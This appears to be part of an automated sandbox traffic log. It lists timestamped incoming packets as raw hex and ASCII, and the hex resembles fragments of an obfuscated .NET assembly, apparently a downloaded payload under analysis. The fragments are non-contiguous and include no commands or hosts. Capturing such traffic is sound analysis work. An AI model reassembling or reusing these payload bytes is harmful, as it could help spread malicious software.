2022-01-06 20:04:22 UTC	4	IN	Data Raw: 09 1f 0b 1f 16 1f 0c 06 28 90 00 00 06 12 03 11 04 11 05 11 06 1f 0c 1d 1f 0d 06 28 90 00 00 06 12 06 09 11 04 11 05 1f 0d 1f 0c 1f 0e 06 28 90 00 00 06 12 05 11 06 09 11 04 1f 0e 1f 11 1f 0f 06 28 90 00 00 06 12 04 11 05 11 06 09 1f 0f 1f 16 1f 10 06 28 90 00 00 06 12 03 11 04 11 05 11 06 17 1b 1f 11 06 28 91 00 00 06 12 06 09 11 04 11 05 1c 1f 09 1f 12 06 28 91 00 00 06 12 05 11 06 09 11 04 1f 0b 1f 0e 1f 13 06 28 91 00 00 06 12 04 11 05 11 06 09 16 1f 14 1f 14 06 28 91 00 00 06 12 03 11 04 11 05 11 06 1b 1b 1f 15 06 28 91 00 00 06 12 06 09 11 04 11 05 1f 0a 1f 09 1f 16 06 28 91 00 00 06 12 05 11 06 09 11 04 1f 0f 1f 0e 1f 17 06 28 91 00 00 06 12 04 11 05 11 06 09 1a 1f 14 1f 18 06 28 91 00 00 06 12 03 11 04 11 05 11 06 1f 09 1b 1f 19 06 28 91 00 00 06 Data Ascii: ((((((((((((((
2022-01-06 20:04:22 UTC	6	IN	Data Raw: 06 06 16 3e 04 00 00 00 07 17 58 0b 16 13 07 16 13 08 38 77 01 00 00 11 08 09 5d 13 09 11 08 1a 5a 13 0a 11 09 1a 5a 13 07 03 11 07 19 58 91 1f 18 62 03 11 07 18 58 91 1f 10 62 60 03 11 07 17 58 91 1e 62 60 03 11 07 91 60 13 05 20 ff 00 00 00 13 0b 16 13 0c 11 08 07 17 59 40 49 00 00 00 06 16 3e 42 00 00 00 16 13 06 11 04 11 05 58 13 04 16 13 0d 38 23 00 00 00 11 0d 16 3e 06 00 00 00 11 06 1e 62 13 06 11 06 05 05 8e 69 17 11 0d 58 59 91 60 13 06 11 0d 17 58 13 0d 11 0d 06 3f d5 ff ff ff 38 2e 00 00 00 11 04 11 05 58 13 04 11 0a 13 07 05 11 07 19 58 91 1f 18 62 05 11 07 18 58 91 1f 10 62 60 05 11 07 17 58 91 1e 62 60 05 11 07 91 60 13 06 11 04 16 13 04 25 28 9f 00 00 06 58 13 04 11 08 07 17 59 40 50 00 00 00 06 16 3e 49 00 00 00 11 04 11 06 61 13 0e 16 13 Data Ascii: >X8w]ZZXbXb`Xb`` Y@I>BX8#>biXY`X?8.XXbXb`Xb``%(XY@P>Ia
2022-01-06 20:04:22 UTC	7	IN	Data Raw: 27 00 59 fe 0e 26 00 fe 0c 26 00 fe 0c 26 00 fe 0c 26 00 59 61 fe 0e 2b 00 fe 0c 28 00 fe 0c 28 00 1f 19 62 61 fe 0e 28 00 fe 0c 28 00 fe 0c 29 00 58 fe 0e 28 00 fe 0c 28 00 fe 0c 28 00 1d 62 61 fe 0e 28 00 fe 0c 28 00 fe 0c 2a 00 58 fe 0e 28 00 fe 0c 28 00 fe 0c 28 00 1f 0d 64 61 fe 0e 28 00 fe 0c 28 00 fe 0c 2b 00 58 fe 0e 28 00 fe 0c 29 00 1b 62 fe 0c 29 00 58 fe 0c 29 00 61 fe 0c 28 00 58 fe 0e 28 00 fe 0c 28 00 76 6c 6d 58 13 09 11 0e 11 07 17 59 40 53 00 00 00 11 06 16 3e 4b 00 00 00 11 09 11 0a 61 13 13 16 13 14 38 2e 00 00 00 11 14 16 3e 0c 00 00 00 11 10 1e 62 13 10 11 11 1e 58 13 11 11 08 11 0f 11 14 58 11 13 11 10 5f 11 11 1f 1f 5f 64 d2 9c 11 14 17 58 13 14 11 14 11 06 3f c9 ff ff ff 38 4d 00 00 00 11 09 11 0a 61 13 15 11 08 11 0f 11 15 20 ff Data Ascii: 'Y&&&&Ya+((ba(()X(((ba((*X(((da((+X()b)X)a(X((vlmXY@S>Ka8.>bXX__dX?8Ma
2022-01-06 20:04:22 UTC	8	IN	Data Raw: 09 7b 72 00 00 04 8e 69 1f 40 7f 6f 00 00 04 28 ae 00 00 06 26 16 2a 06 28 65 00 00 0a 18 5a 11 04 28 6b 00 00 0a 06 28 65 00 00 0a 19 5a 09 7b 72 00 00 04 8e 69 28 6c 00 00 0a 16 13 05 05 20 7d 1d ea 0c 40 0a 00 00 00 7e 5c 00 00 04 39 19 00 00 00 7e 4f 00 00 04 02 03 04 05 0e 04 0e 05 6f 2e 01 00 06 13 05 38 06 00 00 00 17 80 5c 00 00 04 11 05 2a 7e 4f 00 00 04 02 03 04 05 0e 04 0e 05 6f 2e 01 00 06 2a 00 00 00 0a 1b 2a 00 1b 30 02 00 12 00 00 00 00 00 00 00 17 28 2a 00 00 0a dd 06 00 00 00 26 dd 00 00 00 00 2a 00 00 01 10 00 00 00 00 00 00 0b 0b 00 06 0a 00 00 01 13 30 07 00 53 00 00 00 00 00 00 00 d0 51 00 00 01 28 23 00 00 0a 72 0a 0c 00 70 18 8d 24 00 00 01 25 16 d0 14 00 00 01 28 23 00 00 0a a2 25 17 d0 24 00 00 01 28 23 00 00 0a a2 28 6d 00 00 0a Data Ascii: {ri@o(&(eZ(k(eZ{ri(l }@~\9~Oo.8\~Oo.*0(&*0SQ(#rp$%(#%$(#(m
2022-01-06 20:04:22 UTC	10	IN	Data Raw: 00 67 34 00 00 7f 1e 00 00 01 2b 00 00 ac 1f 00 00 1b 3f 00 00 e2 49 00 00 84 29 00 00 8c 40 00 00 02 05 00 00 12 41 00 00 a1 01 00 00 85 47 00 00 83 18 00 00 38 34 00 00 dc 17 00 00 2a 2a 00 00 19 18 00 00 6f 3f 00 00 66 31 00 00 c8 58 00 00 72 4f 00 00 48 4a 00 00 45 38 00 00 7e 35 00 00 b5 29 00 00 f2 38 00 00 c2 11 00 00 2e 1a 00 00 3e 20 00 00 c0 30 00 00 2a 22 00 00 14 37 00 00 1d 3c 00 00 43 55 00 00 85 45 00 00 8c 13 00 00 c2 1e 00 00 b6 51 00 00 17 13 00 00 21 02 00 00 3d 05 00 00 df 43 00 00 8b 1d 00 00 8f 21 00 00 00 32 00 00 83 3c 00 00 01 46 00 00 54 54 00 00 11 10 00 00 e2 2a 00 00 f9 01 00 00 23 21 00 00 5d 14 00 00 42 17 00 00 5d 48 00 00 1d 12 00 00 62 25 00 00 95 20 00 00 3c 45 00 00 cb 27 00 00 3c 5b 00 00 f8 18 00 00 e4 54 00 00 08 57 Data Ascii: g4+?I)@AG84*o?f1XrOHJE8~5)8.> 0"7<CUEQ!=C!2<FTT*#!]B]Hb% <E'<[TW
2022-01-06 20:04:22 UTC	11	IN	Data Raw: ec 37 00 00 bb 3e 00 00 91 44 00 00 3c 2e 00 00 a2 11 00 00 25 11 00 00 64 2a 00 00 68 2d 00 00 ce 52 00 00 28 5c 00 00 b4 13 00 00 bc 2f 00 00 2f 41 00 00 1a 57 00 00 d9 51 00 00 2e 1f 00 00 97 2e 00 00 01 4b 00 00 c5 17 00 00 04 21 00 00 c3 59 00 00 89 3e 00 00 67 1e 00 00 70 18 00 00 9c 38 00 00 c4 04 00 00 10 19 00 00 21 30 00 00 99 28 00 00 1c 27 00 00 c9 2f 00 00 35 55 00 00 af 02 00 00 ed 05 00 00 f8 12 00 00 f8 10 00 00 63 06 00 00 ad 09 00 00 ce 09 00 00 41 07 00 00 ff 14 00 00 58 12 00 00 55 35 00 00 5a 4f 00 00 e4 45 00 00 6c 1d 00 00 e9 06 00 00 ba 47 00 00 59 2e 00 00 ff 23 00 00 33 44 00 00 aa 56 00 00 84 2f 00 00 18 1f 00 00 57 18 00 00 15 1d 00 00 f1 21 00 00 9c 29 00 00 57 2f 00 00 f6 41 00 00 2f 4a 00 00 fa 30 00 00 d7 22 00 00 7b 5a 00 Data Ascii: 7>D<.%d*h-R(\//AWQ..K!Y>gp8!0('/5UcAXU5ZOElGY.#3DV/W!)W/A/J0"{Z
2022-01-06 20:04:22 UTC	12	IN	Data Raw: 28 70 00 00 0a 28 fc 00 00 06 13 62 20 0d 02 00 00 38 1c f1 ff ff fe 0c 16 00 20 18 00 00 00 20 b1 00 00 00 20 3b 00 00 00 59 9c 20 c9 01 00 00 28 1d 01 00 06 39 f8 f0 ff ff 26 20 b6 01 00 00 38 ed f0 ff ff fe 0c 16 00 20 01 00 00 00 fe 0c 6e 00 9c 20 22 01 00 00 28 1d 01 00 06 3a d0 f0 ff ff 26 20 ff 01 00 00 38 c5 f0 ff ff 38 7d 52 00 00 20 ef 00 00 00 28 1c 01 00 06 39 b1 f0 ff ff 26 20 bb 01 00 00 38 a6 f0 ff ff fe 0c 16 00 20 11 00 00 00 20 e9 00 00 00 20 4d 00 00 00 59 9c 20 1b 02 00 00 38 87 f0 ff ff fe 0c 2f 00 20 01 00 00 00 20 16 00 00 00 20 4c 00 00 00 58 9c 20 94 01 00 00 38 68 f0 ff ff fe 0c 16 00 20 07 00 00 00 20 7b 00 00 00 20 25 00 00 00 59 9c 20 70 02 00 00 38 49 f0 ff ff 11 19 28 f9 00 00 06 20 a7 02 00 00 38 38 f0 ff ff 11 3b 1b 11 3e Data Ascii: (p(b 8 ;Y (9& 8 n "(:& 88}R (9& 8 MY 8/ LX 8h { %Y p8I( 88;>
2022-01-06 20:04:22 UTC	14	IN	Data Raw: eb ff ff 38 71 08 00 00 20 0c 01 00 00 38 c7 eb ff ff 20 45 00 00 00 20 4d 00 00 00 58 fe 0e 5f 00 20 34 00 00 00 28 1c 01 00 06 39 a9 eb ff ff 26 20 1b 01 00 00 38 9e eb ff ff 11 3b 28 e9 00 00 06 20 7c 00 00 00 28 1d 01 00 06 3a 88 eb ff ff 26 20 a6 00 00 00 38 7d eb ff ff 11 05 1d 1f 64 9c 20 bc 00 00 00 38 6d eb ff ff fe 0c 16 00 20 0f 00 00 00 20 7c 00 00 00 20 73 00 00 00 58 9c 20 d2 00 00 00 38 4e eb ff ff fe 0c 2f 00 20 03 00 00 00 fe 0c 5f 00 9c 20 93 01 00 00 38 36 eb ff ff 7e 0a 00 00 0a 11 2b 8e 69 20 00 10 00 00 1f 40 28 1a 01 00 06 13 44 20 d9 00 00 00 fe 0e 4e 00 38 0d eb ff ff fe 0c 16 00 20 19 00 00 00 fe 0c 6e 00 9c 20 90 00 00 00 38 f9 ea ff ff fe 0c 16 00 20 05 00 00 00 20 b5 00 00 00 20 3c 00 00 00 59 9c 20 80 00 00 00 38 da ea ff ff Data Ascii: 8q 8 E MX_ 4(9& 8;( \|(:& 8}d 8m \| sX 8N/ _ 86~+i @(D N8 n 8 <Y 8
2022-01-06 20:04:22 UTC	15	IN	Data Raw: 00 00 38 d6 fc ff ff 11 1d 7f 67 00 00 04 28 74 00 00 0a 28 15 01 00 06 16 1e 28 f5 00 00 06 20 0a 00 00 00 38 b4 fc ff ff 11 04 6f 72 00 00 0a 6f 75 00 00 0a 72 ae 0c 00 70 28 da 00 00 06 3a 42 fd ff ff 20 09 00 00 00 28 1c 01 00 06 3a 8a fc ff ff 26 20 02 00 00 00 38 7f fc ff ff 38 d0 fc ff ff 20 0b 00 00 00 28 1c 01 00 06 3a 6b fc ff ff 26 20 09 00 00 00 38 60 fc ff ff 11 1d 16 6a 28 e6 00 00 06 20 03 00 00 00 38 4d fc ff ff 11 1d 28 f8 00 00 06 20 02 00 00 00 38 3c fc ff ff 16 13 0f 20 06 00 00 00 38 2f fc ff ff 11 1d 28 f7 00 00 06 13 6a 20 0d 00 00 00 38 1c fc ff ff 73 76 00 00 0a 13 1d 20 12 00 00 00 fe 0e 02 00 38 03 fc ff ff dd 7d 11 00 00 26 20 00 00 00 00 28 1d 01 00 06 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 01 00 45 01 00 00 00 Data Ascii: 8g(t(( 8orourp(:B (:& 88 (:k& 8`j( 8M( 8< 8/(j 8sv 8}& (:& 8E
2022-01-06 20:04:22 UTC	16	IN	Data Raw: ff ff fe 0c 16 00 20 14 00 00 00 20 92 00 00 00 20 30 00 00 00 59 9c 20 c6 01 00 00 38 06 e1 ff ff fe 0c 2f 00 20 07 00 00 00 fe 0c 5f 00 9c 20 b5 01 00 00 38 ee e0 ff ff fe 0c 16 00 20 0b 00 00 00 20 0f 00 00 00 20 74 00 00 00 58 9c 20 8d 00 00 00 28 1c 01 00 06 39 ca e0 ff ff 26 20 a0 00 00 00 38 bf e0 ff ff 20 47 00 00 00 20 42 00 00 00 59 fe 0e 6e 00 20 46 01 00 00 28 1c 01 00 06 3a a1 e0 ff ff 26 20 64 00 00 00 38 96 e0 ff ff 11 19 28 f1 00 00 06 26 20 30 00 00 00 28 1d 01 00 06 39 7f e0 ff ff 26 20 1e 00 00 00 38 74 e0 ff ff fe 0c 2f 00 20 05 00 00 00 fe 0c 5f 00 9c 20 5c 01 00 00 28 1c 01 00 06 39 57 e0 ff ff 26 20 77 01 00 00 38 4c e0 ff ff fe 0c 16 00 20 00 00 00 00 20 bf 00 00 00 20 3f 00 00 00 59 9c 20 57 01 00 00 28 1c 01 00 06 3a 28 e0 ff ff Data Ascii: 0Y 8/ _ 8 tX (9& 8 G BYn F(:& d8(& 0(9& 8t/ _ \(9W& w8L ?Y W(:(
2022-01-06 20:04:22 UTC	18	IN	Data Raw: ca db ff ff 12 5a e0 73 73 00 00 0a 16 16 6a 28 c8 00 00 06 20 1e 00 00 00 28 1c 01 00 06 3a ab db ff ff 26 20 1b 00 00 00 38 a0 db ff ff 20 30 00 00 00 20 26 00 00 00 58 fe 0e 6e 00 20 7e 01 00 00 28 1d 01 00 06 3a 82 db ff ff 26 20 39 02 00 00 38 77 db ff ff 11 3e 8e 39 9c 06 00 00 20 09 00 00 00 38 65 db ff ff 38 69 22 00 00 20 98 00 00 00 38 56 db ff ff 20 9a 00 00 00 20 33 00 00 00 59 fe 0e 6e 00 20 ac 00 00 00 38 3d db ff ff 11 05 1c 1f 2e 9c 20 36 02 00 00 28 1d 01 00 06 3a 28 db ff ff 26 20 82 02 00 00 38 1d db ff ff d0 29 00 00 02 28 01 01 00 06 6f 24 00 00 0a 28 0c 01 00 06 28 10 01 00 06 8e 69 18 40 56 e9 ff ff 20 80 01 00 00 28 1c 01 00 06 3a ed da ff ff 26 20 02 00 00 00 38 e2 da ff ff 11 70 8e 69 39 38 3c 00 00 20 63 02 00 00 28 1d 01 00 06 Data Ascii: Zssj( (:& 8 0 &Xn ~(:& 98w>9 8e8i" 8V 3Yn 8=. 6(:(& 8)(o$((i@V (:& 8pi98< c(
2022-01-06 20:04:22 UTC	19	IN	Data Raw: 28 1d 01 00 06 39 6b d6 ff ff 26 20 03 01 00 00 38 60 d6 ff ff 7e 47 00 00 04 28 ed 00 00 06 16 9a 28 ee 00 00 06 13 33 20 a2 01 00 00 28 1c 01 00 06 3a 3e d6 ff ff 26 20 77 01 00 00 38 33 d6 ff ff 11 3e 16 11 3e 8e 69 28 ec 00 00 06 20 d7 00 00 00 38 1d d6 ff ff 11 5d 18 1f 74 9c 20 0b 00 00 00 28 1d 01 00 06 3a 08 d6 ff ff 26 20 62 01 00 00 38 fd d5 ff ff fe 0c 16 00 20 06 00 00 00 fe 0c 6e 00 9c 20 47 02 00 00 38 e5 d5 ff ff fe 0c 16 00 20 14 00 00 00 fe 0c 6e 00 9c 20 48 00 00 00 28 1c 01 00 06 39 c8 d5 ff ff 26 20 55 02 00 00 38 bd d5 ff ff 11 0a 13 2c 20 78 01 00 00 28 1d 01 00 06 3a aa d5 ff ff 26 20 22 02 00 00 38 9f d5 ff ff fe 0c 2f 00 20 0c 00 00 00 fe 0c 5f 00 9c 20 4a 00 00 00 28 1c 01 00 06 3a 82 d5 ff ff 26 20 35 00 00 00 38 77 d5 ff ff 20 Data Ascii: (9k& 8`~G((3 (:>& w83>>i( 8]t (:& b8 n G8 n H(9& U8, x(:& "8/ _ J(:& 58w
2022-01-06 20:04:22 UTC	20	IN	Data Raw: 00 20 64 00 00 00 20 01 00 00 00 58 9c 20 a3 00 00 00 28 1c 01 00 06 39 00 d1 ff ff 26 20 bf 00 00 00 38 f5 d0 ff ff 20 d1 00 00 00 20 27 00 00 00 58 fe 0e 6e 00 20 29 00 00 00 38 dc d0 ff ff fe 0c 16 00 20 0f 00 00 00 20 5e 00 00 00 20 6c 00 00 00 58 9c 20 57 00 00 00 38 bd d0 ff ff 7e 5b 00 00 04 3a f2 dd ff ff 20 92 00 00 00 38 a9 d0 ff ff fe 0c 16 00 20 14 00 00 00 fe 0c 6e 00 9c 20 40 01 00 00 38 91 d0 ff ff fe 0c 16 00 20 10 00 00 00 20 61 00 00 00 20 3a 00 00 00 59 9c 20 ee 00 00 00 38 72 d0 ff ff fe 0c 16 00 20 16 00 00 00 20 60 00 00 00 20 78 00 00 00 58 9c 20 cc 01 00 00 28 1c 01 00 06 39 4e d0 ff ff 26 20 21 02 00 00 38 43 d0 ff ff 11 05 1b 1f 6a 9c 20 99 00 00 00 fe 0e 4e 00 38 2b d0 ff ff 20 65 00 00 00 20 2a 00 00 00 58 fe 0e 6e 00 20 ec 00 Data Ascii: d X (9& 8 'Xn )8 ^ lX W8~[: 8 n @8 a :Y 8r ` xX (9N& !8Cj N8+ e *Xn
2022-01-06 20:04:22 UTC	22	IN	Data Raw: 00 00 0a 28 09 01 00 06 13 4c 20 de 01 00 00 38 af cb ff ff 20 7c 00 00 00 20 00 00 00 00 58 fe 0e 5f 00 20 b0 01 00 00 38 96 cb ff ff 20 76 00 00 00 20 31 00 00 00 58 fe 0e 6e 00 20 40 00 00 00 38 7d cb ff ff fe 0c 16 00 20 16 00 00 00 fe 0c 6e 00 9c 20 fa 01 00 00 38 65 cb ff ff 11 19 11 1c 28 e8 00 00 06 13 74 20 62 00 00 00 28 1d 01 00 06 3a 4b cb ff ff 26 20 a8 00 00 00 38 40 cb ff ff 38 55 0d 00 00 20 3f 01 00 00 28 1d 01 00 06 39 2c cb ff ff 26 20 fe 00 00 00 38 21 cb ff ff 11 58 28 ff 00 00 06 26 20 e1 01 00 00 38 0f cb ff ff fe 0c 16 00 20 1d 00 00 00 fe 0c 6e 00 9c 20 18 00 00 00 38 f7 ca ff ff 11 2e 17 58 13 2e 20 ff 00 00 00 38 e7 ca ff ff fe 0c 2f 00 20 0b 00 00 00 fe 0c 5f 00 9c 20 42 01 00 00 38 cf ca ff ff 1f 09 13 14 20 6a 02 00 00 fe 0e Data Ascii: (L 8 \| X_ 8 v 1Xn @8} n 8e(t b(:K& 8@8U ?(9,& 8!X(& 8 n 8.X. 8/ _ B8 j
2022-01-06 20:04:22 UTC	23	IN	Data Raw: 9c 20 32 01 00 00 28 1d 01 00 06 39 5a c6 ff ff 26 20 d0 00 00 00 38 4f c6 ff ff 38 a4 d4 ff ff 20 9c 00 00 00 28 1c 01 00 06 39 3b c6 ff ff 26 20 21 01 00 00 38 30 c6 ff ff 17 8d 16 00 00 01 16 1e 28 c9 00 00 06 17 28 ca 00 00 06 20 be 01 00 00 38 13 c6 ff ff fe 0c 16 00 20 0f 00 00 00 20 21 00 00 00 20 78 00 00 00 58 9c 20 6c 00 00 00 38 f4 c5 ff ff 11 69 11 3c 1b 58 11 62 1b 91 9c 20 0b 02 00 00 38 df c5 ff ff fe 0c 16 00 20 1f 00 00 00 fe 0c 6e 00 9c 20 ac 01 00 00 38 c7 c5 ff ff 20 38 00 00 00 20 08 00 00 00 58 fe 0e 6e 00 20 19 00 00 00 38 ae c5 ff ff 28 cb 00 00 06 20 48 01 00 00 28 1c 01 00 06 3a 9a c5 ff ff 26 20 f6 00 00 00 38 8f c5 ff ff 16 13 54 20 3f 00 00 00 38 82 c5 ff ff fe 0c 2f 00 20 05 00 00 00 fe 0c 5f 00 9c 20 31 02 00 00 38 6a c5 ff Data Ascii: 2(9Z& 8O8 (9;& !80(( 8 ! xX l8i<Xb 8 n 8 8 Xn 8( H(:& 8T ?8/ _ 18j
2022-01-06 20:04:22 UTC	24	IN	Data Raw: 16 00 20 07 00 00 00 20 ae 00 00 00 20 3a 00 00 00 59 9c 20 c5 01 00 00 38 f4 c0 ff ff 11 30 1e 58 13 30 20 97 01 00 00 38 e4 c0 ff ff 12 5a e0 73 73 00 00 0a 16 28 c3 00 00 06 26 20 58 00 00 00 28 1d 01 00 06 3a c6 c0 ff ff 26 20 d8 00 00 00 38 bb c0 ff ff 11 19 28 f1 00 00 06 13 1c 20 1f 00 00 00 38 a8 c0 ff ff fe 0c 16 00 20 1d 00 00 00 20 cd 00 00 00 20 44 00 00 00 59 9c 20 f1 00 00 00 28 1d 01 00 06 3a 84 c0 ff ff 26 20 98 02 00 00 38 79 c0 ff ff fe 0c 16 00 20 1e 00 00 00 fe 0c 6e 00 9c 20 37 00 00 00 38 61 c0 ff ff 11 19 28 f1 00 00 06 13 06 20 8a 00 00 00 38 4e c0 ff ff 11 19 28 f1 00 00 06 11 57 59 13 13 20 9b 01 00 00 38 38 c0 ff ff 20 dc 00 00 00 20 49 00 00 00 59 fe 0e 6e 00 20 d0 01 00 00 28 1d 01 00 06 3a 1a c0 ff ff 26 20 4d 02 00 00 38 0f Data Ascii: :Y 80X0 8Zss(& X(:& 8( 8 DY (:& 8y n 78a( 8N(WY 88 IYn (:& M8
2022-01-06 20:04:22 UTC	26	IN	Data Raw: 00 00 15 01 00 00 e5 00 00 00 49 00 00 00 1f 00 00 00 38 b8 00 00 00 11 0e 28 e2 00 00 06 3a ac 00 00 00 20 06 00 00 00 fe 0e 1b 00 38 b0 ff ff ff 11 4c 11 22 28 ce 00 00 06 13 33 12 33 28 74 00 00 0a 11 22 28 0b 01 00 06 6a 58 3e c6 ff ff ff 20 04 00 00 00 38 8a ff ff ff 28 d1 00 00 06 20 07 00 00 00 38 7b ff ff ff d0 29 00 00 02 28 01 01 00 06 6f 24 00 00 0a 28 0c 01 00 06 14 28 0d 01 00 06 3a d2 ff ff ff 20 01 00 00 00 28 1d 01 00 06 39 4d ff ff ff 26 20 00 00 00 00 38 42 ff ff ff 11 22 28 d8 00 00 06 11 24 28 da 00 00 06 39 61 ff ff ff 20 05 00 00 00 38 25 ff ff ff 38 52 ff ff ff 20 08 00 00 00 38 16 ff ff ff 11 0e 28 d7 00 00 06 74 53 00 00 01 13 22 20 02 00 00 00 28 1d 01 00 06 39 f9 fe ff ff 26 20 01 00 00 00 38 ee fe ff ff dd 35 dd ff ff 20 03 00 Data Ascii: I8(: 8L"(33(t"(jX> 8( 8{)(o$((: (9M& 8B"($(9a 8%8R 8(tS" (9& 85
2022-01-06 20:04:22 UTC	27	IN	Data Raw: 00 fe 0e 4e 00 38 51 b6 ff ff 28 d2 00 00 06 1a 40 1f 05 00 00 20 a8 00 00 00 28 1d 01 00 06 3a 3b b6 ff ff 26 20 aa 01 00 00 38 30 b6 ff ff fe 0c 16 00 20 08 00 00 00 20 45 00 00 00 20 47 00 00 00 58 9c 20 a6 02 00 00 fe 0e 4e 00 38 09 b6 ff ff 20 97 00 00 00 20 32 00 00 00 59 fe 0e 6e 00 20 72 00 00 00 38 f4 b5 ff ff fe 0c 16 00 20 02 00 00 00 fe 0c 6e 00 9c 20 64 02 00 00 38 dc b5 ff ff 11 39 11 06 3f 21 e9 ff ff 20 34 00 00 00 38 c9 b5 ff ff 38 f1 e0 ff ff 20 3f 02 00 00 38 ba b5 ff ff 11 56 1e 62 13 56 20 79 01 00 00 28 1d 01 00 06 3a a5 b5 ff ff 26 20 0e 02 00 00 38 9a b5 ff ff fe 0c 16 00 20 13 00 00 00 fe 0c 6e 00 9c 20 5b 00 00 00 fe 0e 4e 00 38 7a b5 ff ff 72 0a 0d 00 70 16 28 d3 00 00 06 14 28 d4 00 00 06 39 82 c5 ff ff 20 10 00 00 00 28 1d 01 Data Ascii: N8Q(@ (:;& 80 E GX N8 2Yn r8 n d89?! 488 ?8VbV y(:& 8 n [N8zrp((9 (
2022-01-06 20:04:22 UTC	28	IN	Data Raw: 4e 00 38 fb b0 ff ff 12 5a e0 73 73 00 00 0a 16 28 c5 00 00 06 26 20 f6 01 00 00 28 1d 01 00 06 3a e1 b0 ff ff 26 20 99 02 00 00 38 d6 b0 ff ff 11 28 11 51 11 36 20 ff 00 00 00 5f d2 9c 20 3a 00 00 00 fe 0e 4e 00 38 b6 b0 ff ff 14 13 62 20 5f 02 00 00 38 ad b0 ff ff fe 0c 2f 00 20 04 00 00 00 20 5d 00 00 00 20 33 00 00 00 58 9c 20 51 01 00 00 38 8e b0 ff ff fe 0c 2f 00 20 0d 00 00 00 20 d2 00 00 00 20 46 00 00 00 59 9c 20 f1 00 00 00 28 1d 01 00 06 39 6a b0 ff ff 26 20 ae 00 00 00 38 5f b0 ff ff 20 35 00 00 00 20 14 00 00 00 58 fe 0e 6e 00 20 e8 01 00 00 38 46 b0 ff ff 28 d1 00 00 06 20 97 00 00 00 28 1c 01 00 06 39 32 b0 ff ff 26 20 a4 00 00 00 38 27 b0 ff ff fe 0c 16 00 20 1b 00 00 00 fe 0c 6e 00 9c 20 25 02 00 00 38 0f b0 ff ff fe 0c 16 00 20 15 00 00 Data Ascii: N8Zss(& (:& 8(Q6 _ :N8b _8/ ] 3X Q8/ FY (9j& 8_ 5 Xn 8F( (92& 8' n %8
2022-01-06 20:04:22 UTC	30	IN	Data Raw: 85 01 00 00 38 a4 ab ff ff 20 84 00 00 00 20 53 00 00 00 59 fe 0e 6e 00 20 71 01 00 00 38 8b ab ff ff 12 5e 16 7d 71 00 00 04 20 76 00 00 00 28 1c 01 00 06 3a 74 ab ff ff 26 20 03 00 00 00 38 69 ab ff ff 38 cf 07 00 00 20 4c 01 00 00 38 5a ab ff ff 11 69 11 14 18 58 11 62 18 91 9c 20 aa 02 00 00 38 45 ab ff ff 20 18 00 00 00 20 67 00 00 00 58 fe 0e 6e 00 20 74 00 00 00 28 1d 01 00 06 3a 27 ab ff ff 26 20 66 02 00 00 38 1c ab ff ff 20 f7 00 00 00 20 52 00 00 00 59 fe 0e 6e 00 20 77 02 00 00 38 03 ab ff ff fe 0c 2f 00 20 05 00 00 00 fe 0c 5f 00 9c 20 46 02 00 00 38 eb aa ff ff 20 d7 00 00 00 20 47 00 00 00 59 fe 0e 6e 00 20 96 01 00 00 28 1d 01 00 06 39 cd aa ff ff 26 20 1a 01 00 00 38 c2 aa ff ff fe 0c 16 00 20 07 00 00 00 20 4d 00 00 00 20 0e 00 00 00 58 Data Ascii: 8 SYn q8^}q v(:t& 8i8 L8ZiXb 8E gXn t(:'& f8 RYn w8/ _ F8 GYn (9& 8 M X
2022-01-06 20:04:22 UTC	31	IN	Data Raw: ff ff 26 20 cb 01 00 00 38 47 a6 ff ff fe 0c 16 00 20 06 00 00 00 fe 0c 6e 00 9c 20 27 01 00 00 28 1c 01 00 06 3a 2a a6 ff ff 26 20 1c 00 00 00 38 1f a6 ff ff 20 a2 00 00 00 20 36 00 00 00 59 fe 0e 5f 00 20 6b 00 00 00 38 06 a6 ff ff 11 69 11 14 18 58 11 3d 18 91 9c 20 25 01 00 00 38 f1 a5 ff ff fe 0c 16 00 20 10 00 00 00 fe 0c 6e 00 9c 20 4d 01 00 00 38 d9 a5 ff ff fe 0c 16 00 20 1a 00 00 00 20 f5 00 00 00 20 51 00 00 00 59 9c 20 f6 00 00 00 fe 0e 4e 00 38 b2 a5 ff ff fe 0c 16 00 20 19 00 00 00 fe 0c 6e 00 9c 20 30 01 00 00 38 9e a5 ff ff 7e 47 00 00 04 28 ef 00 00 06 28 f0 00 00 06 39 38 b7 ff ff 20 68 00 00 00 38 80 a5 ff ff 1f 1e 8d 16 00 00 01 25 d0 0a 01 00 04 28 19 01 00 06 13 2b 20 3a 00 00 00 28 1d 01 00 06 3a 5d a5 ff ff 26 20 c2 00 00 00 38 52 Data Ascii: & 8G n '(:*& 8 6Y_ k8iX= %8 n M8 QY N8 n 08~G((98 h8%(+ :(:]& 8R
2022-01-06 20:04:22 UTC	32	IN	Data Raw: 28 1c 01 00 06 3a e1 a1 ff ff 26 20 43 01 00 00 38 d6 a1 ff ff 20 29 00 00 00 20 1d 00 00 00 58 fe 0e 6e 00 20 01 02 00 00 38 bd a1 ff ff 1f 12 13 3c 20 53 00 00 00 28 1d 01 00 06 39 aa a1 ff ff 26 20 06 00 00 00 38 9f a1 ff ff 38 17 cd ff ff 20 45 01 00 00 28 1c 01 00 06 39 8b a1 ff ff 26 20 69 01 00 00 38 80 a1 ff ff fe 0c 16 00 20 10 00 00 00 fe 0c 6e 00 9c 20 0f 01 00 00 38 68 a1 ff ff fe 0c 16 00 20 1b 00 00 00 20 63 00 00 00 20 6b 00 00 00 58 9c 20 10 00 00 00 28 1d 01 00 06 3a 44 a1 ff ff 26 20 9a 02 00 00 38 39 a1 ff ff 20 92 00 00 00 20 30 00 00 00 59 fe 0e 6e 00 20 b3 00 00 00 28 1c 01 00 06 3a 1b a1 ff ff 26 20 5d 00 00 00 38 10 a1 ff ff 20 7b 00 00 00 20 5a 00 00 00 58 fe 0e 5f 00 20 0a 02 00 00 38 f7 a0 ff ff 20 19 00 00 00 20 66 00 00 00 58 Data Ascii: (:& C8 ) Xn 8< S(9& 88 E(9& i8 n 8h c kX (:D& 89 0Yn (:& ]8 { ZX_ 8 fX
